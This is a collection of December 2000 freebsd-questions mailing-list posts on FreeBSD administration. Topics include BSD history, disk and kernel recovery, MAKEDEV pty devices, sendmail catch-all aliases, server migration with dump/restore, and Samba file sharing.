>> copie, as opposed to the 30 shipped of BSD.) 2.8.1BSD gave way to many =
>> enhancements, and is more important than 3BSD in that aspect.=20
>> 4BSD was released in 1980, 4.1BSD in 1981 (which has revisions made =
>> between 82 and 83), 4.2 in 83, and finally 4.4BSD in 93. (I think some =
>> of those dates are inaccurate, but I only have one source on this at the =
>> moment.)) After 4.4BSD, UCB was forced to become BSDI, which is now a =
>> major non-free Unix. Using 4.4BSD, there have been multiple offspring. =
>> OpenBSD, NetBSD, FreeBSD and BSD Lite. Open referring to Open source, =
>> Net referring to Networking based and Free being without cost. BSD Lite =
>> is a small version of BSD (never really had much experience with =
>> anything but FBSD.)
>
> Some corrections:
>
> <snip>

Some corrections:

> In any case, after 4.3 the federal funding vanished (the project was
> pretty much finished). 4.3 came in two different versions: 4.3 BSD
> and 4.3BSD Lite (aka Net).

4.3BSD was released in 1986.  The Net/1 and Net/2 tapes came a lot
later, after releases like Tahoe and Reno respectively.

> The latter was supposedly free of AT&T code, and hence didn't
> require a license from AT&T to use or sell.  Many of the people at
> CSRG formed BSDI, to market the software they had written - without
> getting a license from AT&T. 386BSD was also derived from that code,
> and release as an open source project.  AT&T objected, there was a
> lawsuit, AT&T got zapped for violating the BSD license,

No, the case was settled out of court.

> and the end result was that most of the BSD source was available for
> others to use. A final BSD distribution was done - 4.4BSD (requiring
> an AT&T license) and 4.4BSD Lite (which didn't).

No, 4.4BSD was already under way when the court case started.  Many of
the terms of the settlement are unknown, but one was that the code
base of the free BSDs, then based on 4.3BSD Net/2, would migrate to
4.4BSD, about which there had never been any dispute.

Greg
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Greg Lehey <grog@lemis.com> types:
> > The latter was supposedly free of AT&T code, and hence didn't
> > require a license from AT&T to use or sell.  Many of the people at
> > CSRG formed BSDI, to market the software they had written - without
> > getting a license from AT&T. 386BSD was also derived from that code,
> > and release as an open source project.  AT&T objected, there was a
> > lawsuit, AT&T got zapped for violating the BSD license,
> No, the case was settled out of court.

Did I say the case went to court? If you read it as an implication, I
apologize, because I didn't mean to imply that. When it was disclosed
that AT&T was using BSD-licensed code without following the terms of
that license (which was stricter than it is today), that "zapped" the
AT&T lawsuit pretty thoroughly, and led to the out of court
settlement. BSDI got pretty much what they wanted - the ability to
sell BSD without having to get an AT&T license.

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Subject: RE: Help please - Hard Drive Controller Problem - UDMA66 - Mounting problems now too
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Howdy,

I've booted it up with the install floppied, and then put the fixit disk =
in, so that I can mount the drive in /mnt, I then go to /mnt/dev/ and =
type ./MAKEDEV ad4 ad5, and get told that its not R/W.  I try to mount =
it R/W but get told that its not clean, and to run fsck to clean it

but fsck can't run, because it can't find the entries (I imagine in the =
/dev directory)

So I'm in a catch 22 here, I can't fix them to mount them to add the =
/dev/ entries so that it can mount to change them... so I have no idea =
how to fix :-(

any assistance would be gratefully received

-> -----Original Message-----
-> From: aledema@iol.it [mailto:aledema@iol.it]On Behalf Of Alessandro =
de
-> Manzano
-> Sent: Friday, December 22, 2000 7:55 AM
-> To: james
-> Cc: freebsd-questions@FreeBSD.ORG
-> Subject: Re: Help please - Hard Drive Controller Problem - UDMA66 -
-> Mounting problems now too
->=20
->=20
-> > Thanks for your response..... I've definately turned the other=20
-> controller off, and using the fixit disk, and vi, have managed=20
-> to change the /etc/fstab file..... to ad4 etc, instead of what=20
-> itused to be (ad0)
->=20
-> Mmm.. FreeBSD apparently still see the Promise controller as=20
-> ATA2/3, so maybe the I/O address of it should be changed as ATA0/1 ?
-> Does the Promise have a user accessible BIOS, like many SCSI=20
-> controllers ?
-> Something like pressing ctrl-a or similar during the POST boot phase =
?
->=20
-> if yes, maybe you could check into it if the settings are=20
-> correct for use as primary and secondary ATA controllers.
-> Just a tought :-)
->=20
->=20
-> > I imagine the 'no such file or directory' errors are the major=20
-> problem - and unfortunately one that I have no idea how to fix -=20
-> at this stage, if I try to mount the partitions to their right=20
-> places, I get the same error....
->=20
-> Maybe you had to create the approriate device nodes in your /dev dir.
-> I've just checked into mine (4.2-stable) and I've only upto=20
-> "ad3xxxx", nothing with "ad4xxxx" and so on.
-> try something like, as root, "cd /etc && sh ./MAKEDEV ad4 ad5"=20
-> and then check with "ls -l /dev/ad4*"
->=20
->=20
-> Just another few Euro-cents :-))
->=20
->=20
-> --=20
->=20
-> bye!
->=20
-> Ale
->=20
-> demanzano@iol.it
->=20
->=20
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>
> Please don't feed the trolls.
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>

This idiot is someone who knows me personally, and thinks they can't bait me
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they are going to get the beating of their life (since they're and I don't
know too many people larger than I am).  I apologize on behalf of whoever
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I've had a harddrive failure on a computer running 4.2-S.  A test
program from the manufacturer (it's an IBM DeskStar 13G), found bad
blocks.

It's a root disk for my FreeBSD installation, and it freezes once in a
while, reporting write failures to console.  I have a spare disk, wich
is a 6.4G.  This is more than enough to back up the data from the 13G
one, but if I understand correctly, I can't use dump for that, since
all the partitions are not going to fit in.

Would anyone be so kind as to tell me how I can create a working copy
of my current installation?  I would like to save all data from /,
/var, /usr and /home.  I think I can just partition the disk using
/stand/sysinstall and cp -Rp the files to it.  But how would I make it
bootable?  And also, would cp -Rp work on kernel files and /boot
directory?

I'm under a bit of a pressure, since I have to babysit the system
(because it hangs once every hour).  Although any kind of hints are
very welcome, I'd really appreciate something other than a RTFM
response. ;^)  I'll RTFM later, I promiss.

The failed drive is ad0; drive ad3 is a clean 6.4 drive, which I want
to use as a replacement for ad0 while it is being exchanged.

,----[ df -h ]
| Filesystem    Size   Used  Avail Capacity  Mounted on
| /dev/ad0s1a   194M    31M   148M    17%    /
| /dev/ad0s1g   2.8G   8.5M   2.6G     0%    /home
| /dev/ad0s1e   194M   966K   177M     1%    /tmp
| /dev/ad0s1h   8.5G   1.1G   6.7G    14%    /usr
| /dev/ad0s1f   388M   6.2M   350M     2%    /var
`----

,----[ dmesg ]
| ad0: 13042MB <IBM-DPTA-371360> [26500/16/63] at ata0-master UDMA33
| ad2: 18366MB <QUANTUM BIGFOOT TS19.2A> [37317/16/63] at ata1-master UDMA33
| ad3: 6149MB <QUANTUM FIREBALL EX6.4A> [13328/15/63] at ata1-slave UDMA33
`----

Many thanks in advance,
-- 
Arcady Genkin
Don't read everything you believe.


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"man perlpod" and "man pod2man"

===Janko van Roosmalen - Vught - Netherlands===

On Wed, 20 Dec 2000, Edwin Groothuis wrote:

> Hi,
> 
> Right now I'm writing man-pages using other man-pages as a source.
> Now I have to explain other people how to write them (this is great
> fun :-) Does anybody know a document I can use to explain
> what ".Op Fl g Ar gateway-IP-address" does? :-)
> 
> Edwin
> 
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Hi,

I just built a new 4.2 workstation and used a kernel from another
system. The other system had a pentium ii, but the  new system has a
pentium iii. Therefore, in the old kernel the cpu was set as 586, not
686. Therefore, the new system does not boot, it hangs as it tries to
determine the cpu.

I initially copied the old  system's kernel to the new system and then
recompiled. I am guessing here but it seems that the only  thing I 
need to do is change the cpu setting in my
kernel and then recompile.

If I could only rn kernel to kernel.bad and then rename kernel.old to
kernel and then reboot and recompile correctly, everything would be ok. 

How do you boot a bad kernel so that you could do the above? I tried
going into edit mode at the point where you can boot in 9 seconds...
or press any other key. However, I cannot accomplish anything here.
-- 
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Tis *the* Season people.....

All the best! and a hearty *thank you* to all who have contributed in 
making me a bit less of Unix dummie in the past year.



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* Murray <mgd@brutus.converging.net> [001221 17:57] wrote:
> Hi,
> 
> How do you boot a bad kernel so that you could do the above? I tried
> going into edit mode at the point where you can boot in 9 seconds...
> or press any other key. However, I cannot accomplish anything here.

unload kernel
load kernel.old

be careful not to load any modules, as it might cause weird stuff
to happen.

-- 
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 the /tools directory is not in the ISO that I downloaded (4.1.1 R). It
should be there, so I was wondering why it is not. Thanks.





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Hi.

 If I use named as my DNS, does it keeps in memory or disk the previous
petitions? Can I handle or customize this "cache" to improve my system?

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Hey all,

When trying to play a game that uses svgalib for FreeBSD, i get a blank
screen with a cursor at the top-left of the screen when trying to run the
program.  If I press ALT-<terminal #> to 'reset' the screen, it shows me
back at my prompt with "Bus error" after my last prompt.

I thought it was just the game (quakeforge) but it does it on all programs
that use svgalib.

Extra info:  I have a Geforce 256 Nvidia card, 600 mhz duron, asus a7v..
and I tried running the game from console, not X.

Any help would be appreciated.  Thanks!!



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Dear all...

What's the command that serves similar purpose as the Linux command hwclock
does?

Thank you...

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Raymond Hicks wrote:

> ask at the messageboard at http://bsdvault.net  I administer it and i have
> it working just fine..
>
> aterm -tr -sh 50 -fg white -bg black
>

Thanks, I just had the options turned-around, incorrectly specified.
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> I installed ATerm fron the ports in FBSD 4.2 and it appears that
> the default install configuration has changed since FBSD 4.0.
> The default install no longer enables the tint and transparent
> options. How can I install a port and add these options? Or
> would I be better off installing from the source?
>
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In the last episode (Dec 22), John Indra said:
> What's the command that serves similar purpose as the Linux command
> hwclock does?

It's not needed, as FreeBSD always keeps the hardware clock in synch
with the kernel.

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Alright i wanna spark a debate.. Can someone tell me why it is recomended to
devided your hd into seperate slices for / /usr and /var? Why not put
everything on a single partition and be done with it? I have a few setups
with just a root partition and everything is working great. I also find
making backups to other media ie. cloaning hds easier with this setup then
subdividing your disk into slices. Can someone shed some light unto why it
is recomemded to partition off the disk?

Filesystem    Size   Used  Avail Capacity  Mounted on
/dev/ad0s1a    18G   994M    16G     6%    /
procfs        4.0K   4.0K     0B   100%    /proc

Filesystem  1K-blocks     Used    Avail Capacity iused   ifree  %iused
Mounted
on
/dev/ad0s1a  18891030  1017555 16362193     6%   96816 4625102     2%   /
procfs              4        4        0   100%      41     491     8%
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Tim McMillen wrote:

>         If you go through sysinstall and go to the configure option, it
> will let you run xfree86setup and at the end you can choose to run
> xvidtune.  That will put it into your /etc/XF86Config file which will then
> work that way each time.

Yep, worked fine, thanks for the tip.

--
Chip


> Or you can put it into that file by hand, but I
> don't know how.
>
>                                                         Tim
>
> On Tue, 19 Dec 2000, Chip wrote:
>
> > Thanks for all the suggestions. A kvm switch is on the way, but that has
> > nothing to do with the problem at hand.
> > Running xvidtune fixes the problem just fine, thankyou, except if I reboot,
> > then I have to run it again. Maybe there is a file that the settings can be
> > saved in?
> >
> > --
> > Chip
> >
> >
> > Mike Batchelor wrote:
> >
> > > Hey Chip,
> > >
> > > if you want to avoid all that changing of monitor adjustments, open xvidtune
> > > under
> > > X, click on AUTO and adjust the left and right settings to your desire.
> > > Then click NEXT for the next resolution. this should solve your problem
> > >
> > > Mike!
> > >
> > > ----- Original Message -----
> > > From: "Otter" <otterr@telocity.com>
> > > To: "Chip" <chip@wiegand.org>; <freebsd-questions@FreeBSD.ORG>
> > > Sent: Tuesday, December 19, 2000 2:49 AM
> > > Subject: RE: Shared Display problem
> > >
> > > > Do you use one more than the other? Maybe you should just consider
> > > > viewing both on one monitor. VNC is an option for going either way, or
> > > > if you want to run NT, you can still get an X server up and do all
> > > > your BSD work from that machine at the same time. I understand what a
> > > > KVM does, but personally I think they're a pain in the ass (and prefer
> > > > to live without one).
> > > > -Otter
> > > >
> > > >
> > > > }-----Original Message-----
> > > > }From: chip@FreeBSD.ORG [mailto:chip@FreeBSD.ORG]On Behalf Of Chip
> > > > }Sent: Tuesday, December 19, 2000 12:22 AM
> > > > }To: freebsd-questions@FreeBSD.ORG
> > > > }Subject: Shared Display problem
> > > > }
> > > > }
> > > > }I have one monitor shared by two machines, this one - fbsd4.2, and a
> > > > }winnt machine. When I use it with fbsd I get it all set so it is
> > > > }centered
> > > > }in the monitor, then when I change to NT I have to readjust
> > > > }the monitor
> > > > }settings to recenter it, then back again when I switch back to fbsd.
> > > > }Is there a way to fix this perminantly?
> > > > }
> > > > }--
> > > > }Chip
> > > > }www.wiegand.org
> > > > }
> > > > }
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In the last episode (Dec 21), Peter Brock said:
> Alright i wanna spark a debate.. Can someone tell me why it is
> recomended to devided your hd into seperate slices for / /usr and
> /var? Why not put everything on a single partition and be done with
> it? I have a few setups with just a root partition and everything is
> working great. I also find making backups to other media ie. cloaning
> hds easier with this setup then subdividing your disk into slices.
> Can someone shed some light unto why it is recomemded to partition
> off the disk?

The reasons I've usually seen are:

1) To guarantee that the kernel (which lives in /) is under the
1024-cylinder BIOS boot limit.  I don't think our loader has this
problem anymore, though.

2) To keep a full /usr from also filling up /var, where logfiles and
other important files live.  For a personal box, this isn't much of a
problem.

3) To make sure that if /usr gets damaged, you've at least got a
minimal system in /.  I may not be remembering this right, since it
doesn't make much sense.  Modern disks have sector sparing and
early-warning notification so you know when the media's going bad, and
FFS had been stable for a long time.
 
-- 
	Dan Nelson
	dnelson@emsphone.com


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Hello freebsd-questions,

  I have a question. What about a developer-mailinglist, for newbies
  and professionals (specially for freebsd)?

  I think about something like this:


  makefiles-mailinglist (a list about makefiles and ports in general)
  c-general
  c++-general
  c-networking
  c++-networking
  c-driver
  c++-driver
  c-security
  c++-security
  c-kernel-level
  c++-kernel-level
  c-QA (for discussions about stress-testings and so on)
  c++-QA
  ...
  other things..

  It would be interesting for me. A list where a lot of people can
  exchange some knowledge. But it should come from freebsd.org
  not from somwhere else to keep everything together.

-- 
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On Thu, Dec 21, 2000 at 09:28:42PM -0600, Dan Nelson wrote:

>It's not needed, as FreeBSD always keeps the hardware clock in synch
>with the kernel.

Cool... Is this what adjkerntz does?

>	Dan Nelson

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If someone does know where these lists exist or a list that can do these
sorts of problems, can they please let me know. As apart from these I am
also looking at porting picoBSD over to an atmel thumb uC. So I will be
looking at C/ C++ General, Kernel and Networking.

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> Hello freebsd-questions,
>
>   I have a question. What about a developer-mailinglist, for newbies
>   and professionals (specially for freebsd)?
>
>   I think about something like this:
>
>
>   makefiles-mailinglist (a list about makefiles and ports in general)
>   c-general
>   c++-general
>   c-networking
>   c++-networking
>   c-driver
>   c++-driver
>   c-security
>   c++-security
>   c-kernel-level
>   c++-kernel-level
>   c-QA (for discussions about stress-testings and so on)
>   c++-QA
>   ...
>   other things..
>
>   It would be interesting for me. A list where a lot of people can
>   exchange some knowledge. But it should come from freebsd.org
>   not from somwhere else to keep everything together.
>
> --
> Best regards,
>  Boris                          mailto:koester@x-itec.de
>
>
>
>
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k - I'll bite.

An argument for a separate /var is run away syslog can not bring down the
system, just shuts off syslog. Of course on the other side if /var is too
small lots of things fail. For the most part these can be symlink'd out.

On Thu, 21 Dec 2000, Peter Brock wrote:

> Alright i wanna spark a debate.. Can someone tell me why it is recomended to
> devided your hd into seperate slices for / /usr and /var? Why not put
> everything on a single partition and be done with it? I have a few setups
> with just a root partition and everything is working great. I also find
> making backups to other media ie. cloaning hds easier with this setup then
> subdividing your disk into slices. Can someone shed some light unto why it
> is recomemded to partition off the disk?
> 
> Filesystem    Size   Used  Avail Capacity  Mounted on
> /dev/ad0s1a    18G   994M    16G     6%    /
> procfs        4.0K   4.0K     0B   100%    /proc
> 
> Filesystem  1K-blocks     Used    Avail Capacity iused   ifree  %iused
> Mounted
> on
> /dev/ad0s1a  18891030  1017555 16362193     6%   96816 4625102     2%   /
> procfs              4        4        0   100%      41     491     8%
> /proc
> 
> 
> 
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I have a FreeBSD 4.0 server that i use for apache / unix shells. I need to move it to another server with different hardware. The existing server is IDE , the new one is SCSI. How do I do this without loosing data / and with out a lot of down time? I want the same config of everything and I do not want to reinstall / config all my services and user accounts. Please help me!!!! I have a hardware issue with the IDE server, i keep getting a core dump every 3 days or so, that is why I am moving it to a correct (Real IBM) server.

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From owner-freebsd-questions  Thu Dec 21 20:18:11 2000
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Alright i have another question... how do i make a catch-all email account
for a domain. i've put:
@domain    user in the virtusertable but then emails intended for local
users are bring routed to that user. What i really want is anything@domain
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Dear All,

After install the freebsd 4.2 release from a download cdimage, I found the apache is not installed. There are no package named apache also in the installation menu. There is no port for apache also.

I have search and confirm apache should be a package. Where can I download it? Should I just compile it directly?

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Apache is in the ports. Look in /usr/ports/www for apache13. If you do no
thave the ports installed then you can do it directly from
/stand/sysinstall.

HTH

Erin

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In your virtusertable add the email address's for each user;

user1@domain	user1
user2@domain	user2
user3@domain	user3
@domain		catchall


Try that and see if it helps.


Erin


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> Alright i have another question... how do i make a catch-all email account
> for a domain. i've put:
> @domain    user in the virtusertable but then emails intended for local
> users are bring routed to that user. What i really want is anything@domain
> execpt localusers@domain to be forwarded to that account. Any ideas?
> 
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On Thu, 21 Dec 2000 23:13:17 -0500  "Alex Toushek " wrote:
 +------------------
 | I have a FreeBSD 4.0 server that i use for apache / unix shells.
 | I need to m ove it to another server with different hardware. The
 | existing server is IDE , the new one is SCSI. How do I do this
 | without loosing data / and with out a lot of down time? I want the
 | same config of everything and I do not want to reinst all / config
 | all my services and user accounts.  Please help me!!!! I have a
 | har dware issue with the IDE server, i keep getting a core dump
 | every 3 days or so, that is why I am moving it to a correct (Real
 | IBM) server.
 +------------------

Since you have two complete machines this should be streight
forward.  First get the new machine installed with all the basic
stuff, setup all the needed partitions and get it up on the local
lan.  Then dump all the interesting mounted file systems on old system
to locak disk, tape or an nfs mounted disk on the new machine:

    dump -af /somebigdisk/slash.dump /
    dump -af /somebigdisk/usr.dump /usr
    dump -af /somebigdisk/var.dump /var
    dump -af /somebigdisk/var.dump /home

Copy the dump files over to the new machine using ftp or ssh if
you need to. Then restore them. The -i option to restore makes it
convenient to browse around and pick what you want to restore.

    cd /
    restore -if /bigdisk/slash.dump

    cd /var
    restore -if /bigdisk/slash.dump

Pay special attention to the files in /etc.  Be sure not to recover
/etc/fstab.   It's nice to have the old machine available
while you are doing this,  You can poke around on it to find
things that you might have missed.

When all this is done you will have only a few remaining little
tasks such as changing the old machines name and IP address and
maybe renaming the new machine with the old names if you choose
not to recover rc.conf

good luck
chris


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On Friday 22 December 2000 03:06, M wrote:
> Hi.
>
>  If I use named as my DNS, does it keeps in memory or disk the previous
> petitions? Can I handle or customize this "cache" to improve my system?
>
> Thanks.
>
Yes it keeps an in-memory cache.
If you do an nslookup, and get an answer marked as
"non-authoritative" it means it has found it in the
cache.
The cache is lost when you restart DNS.

Exactly what "improvements" were you planning ?

Cliff



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On Fri, 22 Dec 2000, Andy Farkas wrote:

> On Thu, 21 Dec 2000, Jimmy Thomson wrote:
>
> > On Thu, 21 Dec 2000, Edwin Groothuis wrote:
> >
> > > On Thu, Dec 21, 2000 at 02:09:10PM -0600, Jimmy Thomson wrote:
> > > > I am running 4.2 stable, and for some reason I can't get more than 32ptys
> > > > open at a time.  I have 256 specified in the kernel, but it won't let me
> > > > use more than 32.  I also have 256 users set in the kernel.  How can I get
> > > > more ptys?
> > >
> > > did you make them in /dev ? (MAKEDEV)
> > >
> > > Edwin
> > >
> >
> > yep.
>
> How did you make the devices?  (ie what exact command did you use?)
>
> It looks to me like /dev/MAKEDEV can make a maximum of 256 pty's by saying
>
>   # cd /dev
>   # /bin/sh MAKEDEV pty7
>
> (yes, the '7' seems a bit confusing to me too...)
>

MAKEDEV pty7???

Anyone have any clue what the heck that does?

Still not on the list, if you could keep me in the response chain :)



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On Thu, Dec 21, 2000 at 09:06:10PM -0500, M wrote:
>  If I use named as my DNS, does it keeps in memory or disk the previous
> petitions? Can I handle or customize this "cache" to improve my system?

Yes BIND (a.k.a named) does cache previous dns queries. I am not sure
what you mean with your second question.

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On Thu, 21 Dec 2000 23:18:40 -0500  "Peter Brock" wrote:
 +------------------
 | Alright i have another question... how do i make a catch-all email account
 | for a domain. i've put:
 | @domain    user in the virtusertable but then emails intended for local
 | users are bring routed to that user. What i really want is anything@domain
 | execpt localusers@domain to be forwarded to that account. Any ideas?
 +------------------

After examining sendmail-8.11.0/cf/README I'd suspect that you could
use something like the following:

    user1@domain	users1
    user2@domain	users2
    user3@domain	users3
    ...
    @doman 		catchall

Good luck
chris


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On Thu, 21 Dec 2000, Jimmy Thomson wrote:

> On Fri, 22 Dec 2000, Andy Farkas wrote:
> > It looks to me like /dev/MAKEDEV can make a maximum of 256 pty's by saying
> >
> >   # cd /dev
> >   # /bin/sh MAKEDEV pty7
> >
> > (yes, the '7' seems a bit confusing to me too...)
> >
> 
> MAKEDEV pty7???
> 
> Anyone have any clue what the heck that does?

As I said, it makes 256 ptys.  Sheesh.

/dev/MAKEDEV has this in it:

pty*)
        class=`expr $i : 'pty\(.*\)'`
        case $class in
        0) offset=0 name=p;;
        1) offset=32 name=q;;
        2) offset=64 name=r;;
        3) offset=96 name=s;;
# Note that xterm (at least) only look at p-s.
        4) offset=128 name=P;;
        5) offset=160 name=Q;;
        6) offset=192 name=R;;
        7) offset=224 name=S;;

Which means that:

  # /bin/sh MAKEDEV pty0   - will make 32 ptys
  # /bin/sh MAKEDEV pty1   - will make 64 ptys
  # /bin/sh MAKEDEV pty2   - will make 96 ptys
  # /bin/sh MAKEDEV pty3   - will make 128 ptys
  # /bin/sh MAKEDEV pty4   - will make 160 ptys
  # /bin/sh MAKEDEV pty5   - will make 192 ptys
  # /bin/sh MAKEDEV pty6   - will make 224 ptys
  # /bin/sh MAKEDEV pty7   - will make 256 ptys

Hope this helps.

--
 
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    System Administrator
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Actually, this is a good topic.

I've used Unix for nearly 20 years and the GNU tools for over
a decade.

I'm comfortable with bash/fileutils/shellutils/gmake/gawk

When I install a freebsd system, I painfully look around for 
the gnu tools..

I probably would be a good idea to a have a "gnu" environment
you can specify at account creation time, to default to the
gnu tools (instead of the bsd ones).

JMHO.

Marty
> On Mon, Dec 18, 2000 at 07:26:17AM +0000, Cliff Sarginson wrote:
> > Hello,
> > Apart from personal preferences is there any compelling reason
> > to not use GNU system programs instead of BSD ones ?
> > (e.g. du, df.. make ?).
> 
> Noooooooooo........................
> 
> Please take the inevitable religious debate to -advocacy.
> 
> > Will anything "break" if I just choose the ones I like best
> > which may include some GNU ones ?
> 
> If you mean to install GNU tools _over_ the BSD versions in /bin,
> /usr/bin, etc., you will break things. If you just put them elsewhere
> in the tree, say a /usr/gnu or in /usr/local, you should be OK.
> -- 
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On Thursday 21 December 2000 19:51, Stuart Morse wrote:
> Hi All,
>
> I will be developing a Java servlet application that will run under
> FreeBSD, and I would like to use Borland JBuilder to achieve this.
> We own a Win32 version of JBuilder, so the programming itself will
> occur on a Win32 PC. It would be nice to be able to generate my object
> code directly to the FreeBSD machine using a shared disk. Does
> FreeBSD support NETBUI, or should I use NFS? What are some of the
> pros and cons?
>
> Regards,
>
> Stuart

samba ....is an smb (cifs) server for unix)

pros	free and it works

cons	none that I am aware of

NFS

You will need to run a client on your pc

pros	none that I am aware of

cons	You will need to run a client on your pc


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Hello freebsd-questions,

I've got a following question!
Does anybody have a successfull experience of work with any modern
HP servers under FreeBSD?
I need to buy a server for the accounting department, it will work
under FreeBSD, the supplier can sell us any HP model.. For now we are
thinking about HP LC 2000R.. can anybody tell me that it's hardware is
fully supported under FreeBSD?

Thanks!


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Is there any other way of doing this withought having to add each user to
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In the last episode (Dec 22), John Indra said:
> On Thu, Dec 21, 2000 at 09:28:42PM -0600, Dan Nelson wrote:
> 
> >It's not needed, as FreeBSD always keeps the hardware clock in synch
> >with the kernel.
> 
> Cool... Is this what adjkerntz does?

No; it's done in /usr/src/sys/kern_time.c, right at the end of
settime().  The "resettodr" function sets the CMOS clock.

Adjkerntz checks for timezone changes.

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howdy,

I'm running FreeBSD 4.2 and have installed linux_base.tar. Following this I 
attempted to make star office I receive an error promting me to install 
glibc_inst.tar (below):

any ideas where I can get this library, I can't seem to find it anywhere..

30140362600# make
===>   staroffice-5.2 depends on file: /compat/linux/lib/libc.so.6 - found
===>  Extracting for staroffice-5.2
>>Checksum OK for staroffice52/soa-5_2-ga-bin-linux-en.bin.
>>Checksum OK for staroffice52/so-5_2-ga-bin-linux-en.bin.

ERROR: setup system check failed:

        libc.so.6   library not found

StarOffice 5.0 uses the new glibc2 (=libc6).
The libraries above could not be found.

The glibc_inst.tar package includes a README file which describes
how to install these libraries. It will be made available on the 
StarDivision
ftp mirror sites in the same directory as the StarOffice installation files.

You can try to run setup (and StarOffice) anyway. If it does
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we recommend installing the glibc_inst.tar package.

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> 
> On Thu, 21 Dec 2000, Jimmy Thomson wrote:
> 
> > On Fri, 22 Dec 2000, Andy Farkas wrote:
> > > It looks to me like /dev/MAKEDEV can make a maximum of 256 pty's by saying
> > >
> > >   # cd /dev
> > >   # /bin/sh MAKEDEV pty7
> > >
> > > (yes, the '7' seems a bit confusing to me too...)
> > >
> > 
> > MAKEDEV pty7???
> > 
> > Anyone have any clue what the heck that does?
> 
> As I said, it makes 256 ptys.  Sheesh.

Well, I for one could think of a slightly better engineered
interface. It could hardly be called intuitive that a parameter
of pty7 makes 256 ptys. Maybe pty256 would be cuter :). Then again...

My Xmas 2 cents (dutch) worth..

Cliff
> 
> /dev/MAKEDEV has this in it:
> 
> pty*)
>         class=`expr $i : 'pty\(.*\)'`
>         case $class in
>         0) offset=0 name=p;;
>         1) offset=32 name=q;;
>         2) offset=64 name=r;;
>         3) offset=96 name=s;;
> # Note that xterm (at least) only look at p-s.
>         4) offset=128 name=P;;
>         5) offset=160 name=Q;;
>         6) offset=192 name=R;;
>         7) offset=224 name=S;;
> 
> Which means that:
> 
>   # /bin/sh MAKEDEV pty0   - will make 32 ptys
>   # /bin/sh MAKEDEV pty1   - will make 64 ptys
>   # /bin/sh MAKEDEV pty2   - will make 96 ptys
>   # /bin/sh MAKEDEV pty3   - will make 128 ptys
>   # /bin/sh MAKEDEV pty4   - will make 160 ptys
>   # /bin/sh MAKEDEV pty5   - will make 192 ptys
>   # /bin/sh MAKEDEV pty6   - will make 224 ptys
>   # /bin/sh MAKEDEV pty7   - will make 256 ptys
> 
> Hope this helps.
> 
> --
>  
>  :{ andyf@speednet.com.au
>   
>         Andy Farkas
>     System Administrator
>    Speednet Communications
>  http://www.speednet.com.au/
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> 
> 
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}-----Original Message-----
}From: owner-freebsd-questions@FreeBSD.ORG
}[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Murray
}Sent: Thursday, December 21, 2000 8:55 PM
}To: freebsd-questions@FreeBSD.ORG
}Subject: how to recovery an old kernel?
}
}
}Hi,
}
}I just built a new 4.2 workstation and used a kernel from another
}system. The other system had a pentium ii, but the  new system has a
}pentium iii. Therefore, in the old kernel the cpu was set as 586, not
}686. Therefore, the new system does not boot, it hangs as it tries to
}determine the cpu.
}

ouch. p2 and p3 should both be set as 686, and if you use gcc
optimization flags, set it to -march=pentiumpro for both processor
types. This goes for Celerons as well. The only ones that don't get it
are pre-Pentium 2's.

}I initially copied the old  system's kernel to the new
}system and then
}recompiled. I am guessing here but it seems that the only  thing I
}need to do is change the cpu setting in my
}kernel and then recompile.
}
}If I could only rn kernel to kernel.bad and then rename kernel.old to
}kernel and then reboot and recompile correctly, everything
}would be ok.
}
}How do you boot a bad kernel so that you could do the above? I tried
}going into edit mode at the point where you can boot in 9 seconds...
}or press any other key. However, I cannot accomplish anything here.
}--
}Murray Davis
}Converging Technology Solutions
}Edmonton, AB
}

if you still have a kernel.GENERIC, you should be able to boot from
that. When it boots up and prompts you to hit any key other than
return to get the menu, do it. Then type:

unload
load kernel.GENERIC
boot

If you don't have a kernel.GENERIC, I can send you one. I'm running
4.2-STABLE on this machine and 4.2-RELEASE on another.
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On Fri, Dec 22, 2000 at 12:48:18AM -0500, Marty Leisner wrote:
> When I install a freebsd system, I painfully look around for 
> the gnu tools..
You can always install GNU/Linux. And have glibc-bug-of-the-week :-)

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Hi

Under SCO and Solaris there is a program named sar (system activity
reporter)
Is it (or some such program) ported to freebsd ?

TIA

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Let's say we find a binary of an app located in /bin. After thinking
back, also realizing that the same binary was installed manually and
is located in /usr/local/bin. Which one takes priority? I would assume
the /bin, but not sure. Is that determined by the order listed in my
PATH setting or set by default as something else?
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> On Fri, Dec 22, 2000 at 12:48:18AM -0500, Marty Leisner wrote:
> > When I install a freebsd system, I painfully look around for 
> > the gnu tools..
> You can always install GNU/Linux. And have glibc-bug-of-the-week :-)
> 
Let me nip this in the bud... :)
I posted the original question, and the subject line was
badly worded. 
I was not asking about which one was better etc.
I simply wanted to know would it break anything if 
installed a Gnu version of something over a BSD version.
This has only to do with my preferences and what I am used to.

This question was satisfactorily answered by someone a while back.

It was/is not a value judgement !

So there.
be of good cheer, peace and love etc.. etc ..

Three days man

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>> It would be nice to be able to generate my object
> > code directly to the FreeBSD machine using a shared disk. Does
> > FreeBSD support NETBUI, or should I use NFS? What are some of the
> > pros and cons?

NFS and NetBEUI are not the same type of protocol.  NetBEUI is a
non-routable _transport_ protocol like TCP/IP (except tcp/ip is routable).
NFS is an application layer protocol like FTP, HTTP, etc.  The term you're
looking for is probably NetBIOS, which many people confuse with NetBEUI.
Rather than either of those just say SMB (or CIFS) which is the NFS-like
(Don't quote me on that) protocol that Microsoft uses for their file and
printer sharing.  FreeBSD has a Samba port.  Samba is NetBIOS over SMB over
TCP/IP.  So, yes, FreeBSD can serve files to Windows computers using TCP/IP
(not NetBEUI).  In order to connect FreeBSD to your Windows shares you need
to use Samba's smbclient, which is kind of like a *nix ftp client, or you
can use the beta version of the SMBFS KLD module to mount Windows shares to
your filesystem (bless the guy who wrote it.  if I ever meet him, I will buy
him all the beer he can handle.)  It's remarkably stable for a beta.  I will
admit, I use it on a production box :)




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On Fri, Dec 22, 2000 at 12:48:18AM -0500, Marty Leisner wrote:
> 
> Actually, this is a good topic.
> 
> I've used Unix for nearly 20 years and the GNU tools for over
> a decade.
> 
> I'm comfortable with bash/fileutils/shellutils/gmake/gawk

The base FreeBSD awk is gawk,

  $ awk --version
  GNU Awk 3.0.4
  Copyright (C) 1989, 1991-1999 Free Software Foundation.

The base FreeBSD tar is GNU tar,

  $ tar --version
  GNU tar version 1.11.2

The base FreeBSD cc is gcc... grep, groff, gzip, patch, perl, rcs,
sort, cvs, and on and on.

bash can be added as apackage or port painlessly.

make is thankfully not gmake. It can be added as a package or port.

> When I install a freebsd system, I painfully look around for 
> the gnu tools..
> 
> I probably would be a good idea to a have a "gnu" environment
> you can specify at account creation time, to default to the
> gnu tools (instead of the bsd ones).

